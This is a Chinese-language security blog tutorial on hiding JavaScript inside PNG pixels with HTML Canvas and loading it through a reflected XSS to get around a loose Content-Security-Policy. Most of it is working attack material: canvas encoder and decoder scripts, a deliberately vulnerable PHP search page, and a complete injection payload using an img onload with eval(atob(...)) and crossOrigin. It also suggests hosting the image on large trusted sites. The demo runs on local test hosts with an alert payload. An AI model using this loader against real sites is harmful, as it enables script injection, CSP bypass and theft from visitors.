利用Png做持久型XSS攻击

臭大佬 2021-09-30 00:24:10 5040
简介 利用Png做持久型XSS攻击

原理

使用HTML Canvas可以将任何JavaScript代码或整个库隐藏到一个PNG图片中,方法是将每个源代码字符转换为一个像素。然后,可以将图片上传到受信任的网站(如腾讯阿里系网站)(通常由CSP列入白名单)最后将其作为远程图片加载到HTML文档中。最后,通过使用canvas getImageData方法,可以从图片中提取“隐藏的JavaScript并执行它。有时这可能会导致绕过内容安全策略,使攻击者能够获取整个外部JavaScript库。

canvas元素标签强大之处在于可以直接在HTML上进行图形操作,具有极大的应用价值。canvas 可以实现对图像的像素操作,这就要说到 getImageData() 方法了。 ImageData 对象用来描述 canvas 区域隐含的像素数据,奇热这个区域通过矩形表示,起始点为(sx, sy)、宽为sw、高为sh

canvas getImageData() 方法的定义和用法

getImageData() 方法返回 ImageData 对象,该对象拷贝了画布指定矩形的像素数据。

对于 ImageData 对象中的每个像素,都存在着四方面的信息,即 RGBA 值:

R - 红色 (0-255);

G - 绿色 (0-255);

B - 蓝色 (0-255);

A - alpha 通道 (0-255; 0 是透明的,255 是完全可见的);

color/alpha 以数组形式存在,并存储于 ImageData 对象的 data 属性中。

注意在操作完成数组中的 color/alpha 信息之后,你可以使用 putImageData() 方法将图像数据复制到画布上。

由于Content-Security-Policy响应头在防止XSSclickjacking和其他代码注入攻击方面的效率,它被越来越多地使用。然而,许多网站配置laxy策略来避免误报和白名单整个域,而不是特定的资源,或使用不安全的内联或不安全的eval指令,这可能导致策略绕过。

canvas 的相关知识可以查看 学习 HTML5 Canvas 这一篇文章就够了

如果有条件的话,可以阅读Mike Parsons的一篇文章,他在这篇文章中详细展示了如何使用HTML CanvasJavaScript代码“存储”到一个PNG图片中。

Canvas 2D APICanvasRenderingContext2D.putImageData()方法将给定ImageData对象中的数据绘制到画布上。如果提供了脏矩形(dirty rectangle ),则仅绘制该矩形中的像素,此方法不受画布转换矩阵的影响。

Canvas 2D APICanvasRenderingContext2D方法getImageData()返回一个ImageData对象,该对象表示画布的指定部分的基础像素数据。此方法不受画布转换矩阵的影响,如果指定的矩形延伸到画布的边界之外,则画布外的像素在返回的ImageData对象中为透明的黑色。

原理演示

生成png图片

打开谷歌浏览器,在搜索栏输入 about:blank,回车跳转,然后打开JavaScript控制台。粘贴以下代码到控制台后回车。

// 如何将文本字符串“存储”到图片中
(function () {
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c / 3)),
                f = e,
                g = document.createElement("canvas"),
                h = g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++) {
                    var o = 4 * (m * e) + 4 * n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0), h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 <= e && 56319 >= e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f - 56320) + 65536
        }
        return 56320 <= e && 57343 >= e ? e : e
    },
        d = document,
        b = d.body,
        img = new Image;
    var stringenc = "Hello, World!";
    img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();

效果如下:

上面的代码使用putImageData方法创建一个图片,该方法将“Hello, World!”字符串的每组3个字符表示为每个像素的RGB级别(红色、绿色和蓝色)。在浏览器的控制台中运行后,你会在左上角看到一个小图片。

我们右键小图片,可以另存为本地作为恶意攻击图片。

上图的每个像素代表“隐藏字符串”的3个字符。使用charCodeAt函数,我可以将每个字符转换为065535之间的整数,代表其UTF-16代码单元。在单个像素中,第一个转换的字符用于红色通道,第二个字符用于绿色通道,最后一个字符用于蓝色通道。第四个值是在我们的示例中始终为255alpha级别。如下所示:

r = “H”.charCodeAt(0)
g = “e”.charCodeAt(0)
b = “l”.charCodeAt(0)
a = 255
j.data = [r,g,b,a,…]
在以下架构中,我尝试更好地解释如何将字符串的字符分配到ImageData数组中:

png 图片还原内容

现在我们有了一个表示“Hello, World!”字符串的PNG图片。复制以下代码,粘贴在刚才的js控制台上,并回车运行,以将生成的PNG图片转换为原始文本字符串:

// 如何将该图片转换回其原始字符串
t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML = a;

JavaScript代码选择刚刚创建的图片元素,并使用getImageData将其转换为原始文本字符串。使用getImageData时,会发生这样的情况:你将获得一个ImageData对象,该对象的data属性包含一个大数组。如前所示,ImageData数组中每个像素都有四个元素:rgbalpha。因此,该数组看起来像[pixel1Rpixel1Gpixel1Bpixel1Alpha,…,pixelNRpixelNGpixelNBpixelNAlpha]。

理论依据

现在我们知道了如何将文本字符串“存储”到图片中,以及如何将该图片转换回其原始字符串。现在假设隐藏JavaScript代码而不是简单的文本字符串,然后将生成的PNG图片上传到大型网站中。可以绕过内容安全性策略,即绕过大型网站的白名单图片,并可以利用XSS从“受信任的”来源加载JavaScript内容。

实现

部署测试网站

假设某网站有个搜索框,代码如下:

// http://dev.host.net/png.php
<?php

header("Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' http://dev.pikachu.net");

?>
<html>

<body>
    <input id="kw" name="wd" class="s_ipt" value="<?php echo $_GET["wd"] ?>" maxlength="255" autocomplete="off">
</body>

</html>

该应用程序使用了一个Content-Security-Policy,该策略允许来自“self”和http://dev.pikachu.net(本地址是我本地搭建的,用于代替大型网站)的图片,并允许来自“self”、“inline”和“eval”的JavaScript。不幸的是,有许多网站配置了script-src指令,允许unsafe-inlineunsafe-eval来避免误报。而且,许多网站将整个域列入白名单,而不是将特定资源列入白名单。

该漏洞位于wd querystring参数上,该参数不能清除导致HTML注入和Reflected XSS的用户输入。要利用此测试Web应用程序上的XSS漏洞,我需要注入HTML语法以关闭src属性并添加SCRIPT标签,然后注入JavaScript代码。

我们可以假设构造参数模拟攻击,然后根据构造的结果去推测参数形式,根据http://dev.host.net/png.php的现有代码,我们构造如下代码。

<?php
// ...
<html>
<body>
    <input id="kw" name="wd" class="s_ipt" value="1"> <img src="xxx" id="jsimg" onload="" />
    <a href="" maxlength="255" autocomplete="off">
</body>
</html>

可以看出,我们输入的wd参数是

1"> <img src="xxx" id="jsimg" onload="" />
    <a href="

注释:

  • xxx 是恶意PNG图片的大型网站 URL;
  • id 是注入的id属性;
  • onload 是要触发的事件;
  • a href= 是一个A标签,仅用于防止破坏HTML语法;

所以,wd的值需构造为:

png.php?wd=1"> <img src="xxx" id="jsimg" onload="" />
    <a href="

实现方式

根据以上构造及理论,我们恶意PNG图片文件中隐藏JavaScript代码,再用onload注入的js代码,还原恶意PNG图片文件里面的内容,就可以实现xss攻击了。

恶意PNG图片

我们把代码中的Hello, World!换成我们的js脚本代码,如:alert(document.domain),运行后另存为本地,并命名为png.png.

png.png文件上传到大型网站,

注意:这个传图的站点要支持跨域。

判断方式,访问上传的图片,查看响应头是否有Access-Control-Allow-Origin: *,如下图:

作为演示,大型网站用我自己搭建的网站代替,上传后我的图片访问地址是http://dev.pikachu.net/vul/unsafeupload/uploads/png.png

onload的js代码

可以利用img标签的onload="javascript:eval()去触发事件,window.btoa用于编码base64,而atob用于解码base64,可以把我们图片还原代码先编码,注入onload时解码来执行js代码,所以我们构造onload="javascript:eval(atob("加密的js代码"))"进行攻击。

现在,我需要注入几行JavaScript代码把图片转换成一个外部的JavaScript库并绕过CSP

// 加密的js代码

t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)

用函数window.btoa加密成base64形式:

var str = 't = document.getElementById("jsimg");var s = String.fromCharCode, c = document.createElement("canvas");var cs = c.style,cx = c.getContext("2d"),w = t.offsetWidth,h = t.offsetHeight;c.width = w;c.height = h;cs.width = w + "px";cs.height = h + "px";cx.drawImage(t, 0, 0);var x = cx.getImageData(0, 0, w, h).data;var a = "",l = x.length,p = -1;for (var i = 0; i < l; i += 4) {if (x[i + 0]) a += s(x[i + 0]);if (x[i + 1]) a += s(x[i + 1]);if (x[i + 2]) a += s(x[i + 2]);}eval(a)';
var res = window.btoa(str);
console.log(res);

得到如下结果:

dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpO3ZhciBzID0gU3RyaW5nLmZyb21DaGFyQ29kZSwgYyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpO3ZhciBjcyA9IGMuc3R5bGUsY3ggPSBjLmdldENvbnRleHQoIjJkIiksdyA9IHQub2Zmc2V0V2lkdGgsaCA9IHQub2Zmc2V0SGVpZ2h0O2Mud2lkdGggPSB3O2MuaGVpZ2h0ID0gaDtjcy53aWR0aCA9IHcgKyAicHgiO2NzLmhlaWdodCA9IGggKyAicHgiO2N4LmRyYXdJbWFnZSh0LCAwLCAwKTt2YXIgeCA9IGN4LmdldEltYWdlRGF0YSgwLCAwLCB3LCBoKS5kYXRhO3ZhciBhID0gIiIsbCA9IHgubGVuZ3RoLHAgPSAtMTtmb3IgKHZhciBpID0gMDsgaSA8IGw7IGkgKz0gNCkge2lmICh4W2kgKyAwXSkgYSArPSBzKHhbaSArIDBdKTtpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7aWYgKHhbaSArIDJdKSBhICs9IHMoeFtpICsgMl0pO31ldmFsKGEp

由上面的拼接可得,最终的wd参数为:

wd=1"> <img src="http://dev.pikachu.net/vul/unsafeupload/uploads/png.png" id="jsimg" onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpO3ZhciBzID0gU3RyaW5nLmZyb21DaGFyQ29kZSwgYyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpO3ZhciBjcyA9IGMuc3R5bGUsY3ggPSBjLmdldENvbnRleHQoIjJkIiksdyA9IHQub2Zmc2V0V2lkdGgsaCA9IHQub2Zmc2V0SGVpZ2h0O2Mud2lkdGggPSB3O2MuaGVpZ2h0ID0gaDtjcy53aWR0aCA9IHcgKyAicHgiO2NzLmhlaWdodCA9IGggKyAicHgiO2N4LmRyYXdJbWFnZSh0LCAwLCAwKTt2YXIgeCA9IGN4LmdldEltYWdlRGF0YSgwLCAwLCB3LCBoKS5kYXRhO3ZhciBhID0gIiIsbCA9IHgubGVuZ3RoLHAgPSAtMTtmb3IgKHZhciBpID0gMDsgaSA8IGw7IGkgKz0gNCkge2lmICh4W2kgKyAwXSkgYSArPSBzKHhbaSArIDBdKTtpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7aWYgKHhbaSArIDJdKSBhICs9IHMoeFtpICsgMl0pO31ldmFsKGEp"))' /><a href="

访问http://dev.host.net/png.php?wd=参数

跨域问题

如果出现如下报错:

Uncaught DOMException: Failed to execute ‘getImageData’ on ‘CanvasRenderingContext2D’: The canvas has been tainted by cross-origin data.

通过阅读文档,我的浏览器似乎故意在跨源加载图片时阻塞getImageData之类的方法。似乎我只需要注入crossorigin属性:

  1. HTML为图片提供了跨域属性,该图片与适当的CORS标头结合使用,允许元素定义的从外部来源加载的图片在< img >元素定义的图像在< canvas >中使用,就好像它们是从当前源加载的一样。

  2. 由于画布位图中的像素可能来自多种来源,包括从其他主机检索到的图片或视频,因此不可避免地会出现安全问题。一旦将任何未经CORS批准从其他来源加载的数据绘制到画布中,画布就会被污染。被污染的画布不再被认为是安全的,任何从画布中检索图片数据的尝试都会导致引发异常。如果外部内容的来源是HTML < img >或SVG< svg > 元素,则不允许尝试检索画布的内容。

我们在刚才的参数中增加一个属性crossOrigin="anonymous",最终访问地址如下:

http://dev.host.net/png.php?wd=1"> <img src="http://dev.pikachu.net/vul/unsafeupload/uploads/png.png" crossOrigin="anonymous" id="jsimg" onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpO3ZhciBzID0gU3RyaW5nLmZyb21DaGFyQ29kZSwgYyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpO3ZhciBjcyA9IGMuc3R5bGUsY3ggPSBjLmdldENvbnRleHQoIjJkIiksdyA9IHQub2Zmc2V0V2lkdGgsaCA9IHQub2Zmc2V0SGVpZ2h0O2Mud2lkdGggPSB3O2MuaGVpZ2h0ID0gaDtjcy53aWR0aCA9IHcgKyAicHgiO2NzLmhlaWdodCA9IGggKyAicHgiO2N4LmRyYXdJbWFnZSh0LCAwLCAwKTt2YXIgeCA9IGN4LmdldEltYWdlRGF0YSgwLCAwLCB3LCBoKS5kYXRhO3ZhciBhID0gIiIsbCA9IHgubGVuZ3RoLHAgPSAtMTtmb3IgKHZhciBpID0gMDsgaSA8IGw7IGkgKz0gNCkge2lmICh4W2kgKyAwXSkgYSArPSBzKHhbaSArIDBdKTtpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7aWYgKHhbaSArIDJdKSBhICs9IHMoeFtpICsgMl0pO31ldmFsKGEp"))' /><a href="

这里还要注意一个点是,恶意PNG图片要允许跨域Access-Control-Allow-Origin:*,我在本地nginx做了相应的处理,单独访问图片可以观察到Access-Control-Allow-Origin:*:

访问效果